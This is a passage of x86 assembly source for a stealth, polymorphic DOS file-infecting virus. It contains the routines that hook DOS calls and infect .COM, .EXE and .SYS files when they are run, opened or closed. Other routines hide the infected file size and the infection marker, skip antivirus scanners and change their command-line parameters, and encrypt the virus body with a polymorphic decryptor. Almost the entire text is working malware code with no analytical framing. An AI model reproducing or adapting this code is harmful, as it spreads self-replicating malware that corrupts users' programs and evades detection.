;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ dos_get_time: ;Call function call pop_all call dos_call jnc ok_get_time ;Exit if error call unhook_ints stc retf 02h ok_get_time: ;Save result call push_all ;Check if file is already infected mov al,cl mov ah,1Fh and al,ah cmp al,ah jne no_get_time ;Get function result call pop_all ;Clear infection marker and cl,0E0h jmp short exit_get_time no_get_time: call pop_all exit_get_time: call unhook_ints clc retf 02h ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Set file date/time ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ dos_set_time: ;Get function parameters call pop_all call push_all ;Get address of sft entry call get_sft jc no_set_time ;Check if file is already infected mov al,byte ptr es:[di+0Dh] mov ah,1Fh and al,ah cmp al,ah je ok_set_time no_set_time: ;Exit if not infected or error jmp m21h_exit ok_set_time: ;Perform time change but restore our marker call pop_all or cl,1Fh call push_all jmp m21h_exit ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Open file ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ dos_open: ;Call dos function call pop_all call dos_call jnc do_open_file ;Exit if error call unhook_ints stc retf 02h do_open_file: ;Save result call push_all ;Get sft for file handle xchg bx,ax call get_sft jc no_changes ;Check file name in sft push es pop ds mov si,di add si,0020h cld lodsw ;Check for chklist cmp ax,"HC" jne check_open_infection lodsw cmp ax,"LK" jne check_open_infection lodsw cmp ax,"SI" jne check_open_infection ;Close file mov ah,3Eh call dos_call ;Exit with error ( file not found ) call unhook_ints call pop_all mov ax,0002h stc retf 02h check_open_infection: ;Check if file is infected mov al,byte ptr es:[di+0Dh] mov ah,1Fh and al,ah cmp al,ah jne no_changes ;If infected stealth true size sub word ptr es:[di+11h],inf_byte_size sbb word ptr es:[di+13h],0000h no_changes: ;Open operation complete, return to caller call unhook_ints call pop_all clc retf 02h ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Read file ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ dos_read: ;Restore function entry regs call pop_all call push_all ;Duplicate handle mov ah,45h call dos_call jc no_read_stealth xchg bx,ax push ax ;Close new handle in order to update directory entry mov ah,3Eh call dos_call pop bx ;Get address of sft entry call get_sft jc no_read_stealth ;Check if file is already infected mov al,byte ptr es:[di+0Dh] mov ah,1Fh and al,ah cmp al,ah jne no_read_stealth ;Check and save current offset in file mov ax,word ptr es:[di+15h] cmp ax,file_header_size jae no_read_stealth cmp word ptr es:[di+17h],0000h jne no_read_stealth ;Save file-pointer position into header mov word ptr cs:[file_offset],ax call pop_all ;Save address of read buffer mov word ptr cs:[read_off],dx mov word ptr cs:[read_seg],ds ;Perform read operation call dos_call jnc check_read ;Error during file read call unhook_ints stc retf 02h no_read_stealth: ;Exit if no read stealth jmp m21h_exit check_read: ;Restore regs and get file sft call push_all call get_sft ;Save offset position push word ptr es:[di+15h] push word ptr es:[di+17h] ;Save file size push word ptr es:[di+11h] push word ptr es:[di+13h] ;Add virus size to file size add word ptr es:[di+11h],inf_byte_size adc word ptr es:[di+13h],0000h ;Point to old header in file call seek_end sub word ptr es:[di+15h],file_header_size+01h sbb word ptr es:[di+17h],0000h ;Read old header and encryption key push cs pop ds mov ah,3Fh mov cx,file_header_size+01h mov dx,offset old_header call dos_call jc exit_read ;Decrypt header call decrypt_header ;Move old header into read buffer les di,dword ptr cs:[read_ptr] mov si,offset old_header mov cx,file_header_size-01h mov ax,word ptr cs:[file_offset] add di,ax add si,ax sub cx,ax cld rep movsb exit_read: ;We need this again call get_sft ;Restore file size pop word ptr es:[di+13h] pop word ptr es:[di+11h] ;Restore old offset in file pop word ptr es:[di+17h] pop word ptr es:[di+15h] ;Restore regs and exit call unhook_ints call pop_all clc retf 02h ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Terminate program ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ dos_terminate_prog: ;Try to infect file that was executed ;(filename in our buffer) push cs pop ds mov dx,offset execute_filename jmp infect_file_ds_dx ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Exec ( execute program ) ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ dos_exec: ;Restore function entry regs call pop_all call push_all ;Save segmet of parameter block push es ;Copy filename into our buffer mov si,dx mov di,offset execute_filename push cs pop es copy_filename: lodsb stosb or al,al jnz copy_filename ;Restore segment of parameter block pop es ;Check if file to execute is win.com cmp word ptr ds:[si-04h],"OC" jne no_win_com cmp word ptr ds:[si-08h],"IW" jne no_win_com cmp word ptr ds:[si-06h],".N" jne no_win_com ;Add parameters to win.com call find_end_string jc exit_add_param mov cx,0005h mov bx,offset win_param_string jmp short found_end_string no_win_com: ;Check if file to execute is tbscan.exe cmp word ptr ds:[si-07h],"NA" jne exit_add_param cmp word ptr ds:[si-09h],"CS" jne exit_add_param cmp word ptr ds:[si-0Bh],"BT" jne exit_add_param ;Add parameters to tbscan.exe call find_end_string jc exit_add_param mov cx,0006h mov bx,offset tbscan_param_string found_end_string: ;Add to number of characters add byte ptr ds:[di],cl ;Number of characters + carriage ret inc cx mov di,si ;Point over carriage ret of original command parameter string dec di ;Get offset of our param string mov si,bx push ds pop es push cs pop ds ;Write it over original command parameter string rep movsb exit_add_param: ;Return to virus int 21h handler jmp m21h_exit ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Find end of command parameter string ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ find_end_string: ;Get address of command parameter string lds si,dword ptr es:[bx+02h] mov di,si ;Check if no parameters lodsb or al,al jnz no_zero_param inc si clc ret no_zero_param: ;Find end of command parameter string mov cx,007Fh search_carriage_ret: lodsb cmp al,0Dh jne try_next_char clc ret try_next_char: loop search_carriage_ret stc ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Infect file ( ds:dx ptr to filename ) ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ infect_file_ds_dx: ;Open file for read-only mov ax,3D00h call dos_call jnc ok_file_open jmp file_error ok_file_open: xchg bx,ax jmp short from_open ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Infect file on close ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ dos_close: ;Get function parameters call pop_all call push_all ;Duplicate handle mov ah,45h call dos_call jc file_error xchg bx,ax push ax ;Close new handle in order to update directory entry mov ah,3Eh call dos_call pop bx from_open: ;Check if file infection is disabled cmp byte ptr cs:[file_infection_flag],0FFh jne file_error ;Get sft address in es:di call get_sft jc file_error ;Check device info word mov ax,word ptr es:[di+05h] ;Check if character device handle test al,80h jnz file_error ;Check if remote file handle test ah,0Fh jnz file_error ;Check if file is already infected mov al,byte ptr es:[di+0Dh] mov ah,1Fh and al,ah cmp al,ah je file_error ;Check file name in sft mov cx,0Bh mov si,di add si,20h name_loop: ;Get a pair of characters mov ax,word ptr es:[si] ;Do not infect files with digit in their file name cmp al,"0" jb no_digit cmp al,"9" jbe file_error no_digit: ;Do not infect files with "V" character in their filename cmp al,"V" je file_error ;Do not infect files with "MO" into their filenames cmp ax,"OM" je file_error ;Do not infect files with "IO" into their filenames cmp ax,"OI" je file_error ;Do not infect files with "DO" into their filenames cmp ax,"OD" je file_error ;Do not infect files with "IB" into their filenames cmp ax,"BI" je file_error ;Next character inc si loop name_loop ;Get first pair mov ax,word ptr es:[di+20h] ;Do not infect Thunderbyte antivirus utils cmp ax,"BT" je file_error ;Do not infect McAfee's Scan cmp ax,"CS" je file_error ;Do not infect F-Prot scanner cmp ax,"-F" je file_error ;Do not infect Solomon's Guard cmp ax,"UG" jne file_infection file_error: jmp critical_exit file_infection: ;Save and set file open mode (read/write) mov cx,0002h xchg cx,word ptr es:[di+02h] push cx ;Save and set file attribute xor al,al xchg al,byte ptr es:[di+04h] push ax test al,04h jnz system_file ;Save and set file pointer position push word ptr es:[di+15h] push word ptr es:[di+17h] ;Read file header call seek_begin push cs pop ds mov ah,3Fh mov cx,file_header_size mov dx,offset file_buffer call dos_call jc exit_inf ;Seek to end of file and get file size call seek_end ;Do not infect too small files or dx,dx jnz ok_min_size cmp ax,inf_byte_size jbe exit_inf ok_min_size: ;Point si to file_buffer mov si,offset file_buffer check_sys: ;Check for .sys extension cmp word ptr es:[di+28h],"YS" jne check_exe cmp byte ptr es:[di+2Ah],"S" jne check_exe jmp inf_sys check_exe: ;Check for .exe mark in file header mov cx,word ptr cs:[si+00h] ;Add markers M+Z add cl,ch cmp cl,"Z"+"M" jne check_com ;Check for .exe extension cmp word ptr es:[di+28h],"XE" jne check_com cmp byte ptr es:[di+2Ah],"E" jne check_com jmp inf_exe check_com: ;Avoid infecting .exe type here cmp cl,"Z"+"M" je exit_inf ;Check for .com extension cmp word ptr es:[di+28h],"OC" jne exit_inf cmp byte ptr es:[di+2Ah],"M" jne exit_inf jmp inf_com exit_inf: ;Restore file pointer position pop word ptr es:[di+17h] pop word ptr es:[di+15h] system_file: ;Restore file attribute pop ax mov byte ptr es:[di+04h],al ;Restore file open mode pop word ptr es:[di+02h] ;Do not set file date/time on closing or byte ptr es:[di+06h],40h critical_exit: ;Check if close function cmp byte ptr cs:[dos_function+01h],(3Eh xor 0FFh) je no_close_file ;Close file mov ah,3Eh call dos_call no_close_file: jmp m21h_exit ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Infect .sys files ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ inf_sys: ;Don't infect too big .sys files cmp ax,0FFFFh-(mem_byte_size*02h) jae exit_inf ;Check next driver address cmp word ptr cs:[si],0FFFFh jne exit_inf cmp word ptr cs:[si+02],0FFFFh jne exit_inf ;Copy .sys file header call copy_header ;Store virus entry point ( file size ) over strategy routine address mov word ptr cs:[si+06h],ax ;Save delta offset for poly engine mov word ptr cs:[file_delta],ax ;Store return subroutine mov word ptr cs:[exit_address],offset exit_sys - \ offset host_ret ;Encrypt and infect jmp get_control ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Infect .com files ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ inf_com: ;Don't infect too big .com files cmp ax,0FFFFh-(mem_byte_size*02h) jae exit_inf ;Save first bytes of file call copy_header ;Get file length as entry point sub ax,03h ;Write a jump to virus into header mov byte ptr cs:[si+00h],0E9h mov word ptr cs:[si+01h],ax ;Save delta offset for poly engine add ax,0103h mov word ptr cs:[file_delta],ax ;Store return subroutine mov word ptr cs:[exit_address],offset exit_com - \ offset host_ret ;Encrypt and infect jmp get_control ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Infect .exe files ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ inf_exe: ;Make a copy of .exe file header call copy_header ;Don't infect Windows new exe files cmp word ptr cs:[si+19h],0040h jae bad_exe ;Don't infect overlays cmp word ptr cs:[si+1Ah],0000h jne bad_exe ;Check maxmem field cmp word ptr cs:[si+0Ch],0FFFFh jne bad_exe ;Save file size push ax push dx ;Save old exe entry point push word ptr cs:[si+14h] pop word ptr cs:[exe_ip] push word ptr cs:[si+16h] pop word ptr cs:[exe_cs] ;Get file size div 10h mov cx,0010h div cx ;Subtract header size sub ax,word ptr cs:[si+08h] ;New entry point at file end mov word ptr cs:[si+14h],dx mov word ptr cs:[si+16h],ax ;Save delta offset for poly engine mov word ptr cs:[file_delta],dx ;Set new offset of stack segment in load module inc ax mov word ptr cs:[si+0Eh],ax ;Set new stack pointer beyond end of virus add dx,mem_byte_size+inf_byte_size+0410h ;Aligment and dx,0FFFEh mov word ptr cs:[si+10h],dx ;Restore size pop dx pop ax ;Resave size push ax push dx ;Get file size div 0200h mov cx,0200h div cx or dx,dx jz size_round_1 inc ax size_round_1: ;Check if file size is as header says cmp ax,word ptr cs:[si+04h] jne exit_header cmp dx,word ptr cs:[si+02h] je ok_file_size exit_header: pop dx pop ax bad_exe: jmp exit_inf ok_file_size: ;Restore file size pop dx pop ax ;Add virus size to file size add ax,inf_byte_size adc dx,0000h ;Get infected file size div 0200h mov cx,0200h div cx or dx,dx jz size_round_2 inc ax size_round_2: ;Store new size mov word ptr cs:[si+02h],dx mov word ptr cs:[si+04h],ax ;Store return subroutine mov word ptr cs:[exit_address],offset exit_exe - \ offset host_ret ;Encryption an infection continues on next routine ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Encryption and infection ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ get_control: ;Reserve memory for poly engine buffer call memory_allocation jc no_good_memory ;Encrypt virus and build polymorphic decryptor sub bp,bp call do_encrypt ;Write virus body to the end of file mov ah,40h mov cx,inf_byte_size lds dx,dword ptr cs:[poly_working_ptr] call dos_call jc no_good_write ;Seek to beginning of file call seek_begin ;Write new header push cs pop ds mov ah,40h mov cx,file_header_size mov dx,offset file_buffer call dos_call ;Mark file as infected or byte ptr es:[di+0Dh],1Fh no_good_write: ;Free previous allocated memory call free_memory no_good_memory: jmp exit_inf ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Memory allocation routine ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ memory_allocation: ;Save regs call push_all ;Use segment as success flag mov word ptr cs:[poly_working_seg],0000h ;Get and save memory allocation strategy mov ax,5800h call dos_call push ax ;Set new allocation strategy to first fit in high then low mov ax,5801h mov bx,0080h call dos_call ;Get and save umb link state mov ax,5802h call dos_call xor ah,ah push ax ;Set umb link state on mov ax,5803h mov bx,0001h call dos_call ;Allocate memory mov ah,48h mov bx,inf_para_size call dos_call jc error_mem_alloc ;Save pointer to allocated memory mov word ptr cs:[poly_working_off],0000h mov word ptr cs:[poly_working_seg],ax error_mem_alloc: ;Restore umb link state mov ax,5803h pop bx call dos_call ;Restore allocation strategy mov ax,5801h pop bx call dos_call ;Check segment cmp word ptr cs:[poly_working_seg],0000h je exit_mem_error ;Restore regs call pop_all clc ret exit_mem_error: ;Restore regs call pop_all stc ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Free previous allocated memory ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ free_memory: call push_all free_try_again: mov ah,49h mov es,word ptr cs:[poly_working_seg] call dos_call jc free_try_again call pop_all ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Get random number from our rnd buffer ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ get_rnd: push si push ds push cs pop ds mov ax,word ptr cs:[rnd_pointer][bp] mov si,ax sub ax,bp cmp ax,decryptor-04h jbe into_random_data mov si,bp into_random_data: cld lodsw mov word ptr cs:[rnd_pointer][bp],si pop ds pop si ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Timer based random number generator ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ random_number: push cx in ax,40h mov cl,al xor al,ah xor ah,cl xor ax,0FFFFh org $-02h randomize: dw 0000h mov word ptr cs:[randomize][bp],ax pop cx ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Generate a 16bit random number ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ rand_16: call get_rnd mov bl,al call get_rnd mov ah,bl ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Generate a random number betwin 0 and ax ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ rand_in_range: ;Returns a random num between 0 and entry ax push bx push dx xchg ax,bx call get_rnd xor dx,dx div bx ;Remainder in dx xchg ax,dx pop dx pop bx ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Return the al vector in es:bx ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ get_int: push ax xor ah,ah rol ax,1 rol ax,1 xchg bx,ax xor ax,ax mov es,ax les bx,dword ptr es:[bx+00h] pop ax ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Set al interrupt vector to ds:dx pointer ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ set_int: push ax push bx push ds cli xor ah,ah rol ax,1 rol ax,1 xchg ax,bx push ds xor ax,ax mov ds,ax mov word ptr ds:[bx+00h],dx pop word ptr ds:[bx+02h] sti pop ds pop bx pop ax ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Get sft address in es:di ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ get_sft: ;File handle in bx push bx ;Get job file table entry to es:di mov ax,1220h int 2Fh jc error_sft ;Exit if handle not opened xor bx,bx mov bl,byte ptr es:[di+00h] cmp bl,0FFh je error_sft ;Get address of sft entry number bx to es:di mov ax,1216h int 2Fh jc error_sft pop bx clc ret error_sft: ;Exit with error pop bx stc ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Seek to end of file ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ seek_end: call get_sft mov ax,word ptr es:[di+11h] mov dx,word ptr es:[di+13h] mov word ptr es:[di+17h],dx mov word ptr es:[di+15h],ax ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Seek to begin ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ seek_begin: call get_sft xor ax,ax mov word ptr es:[di+17h],ax mov word ptr es:[di+15h],ax ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Virus critical error interrupt handler ( int 24h ) ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ my_int24h: sti ;Return error in function mov al,03h iret 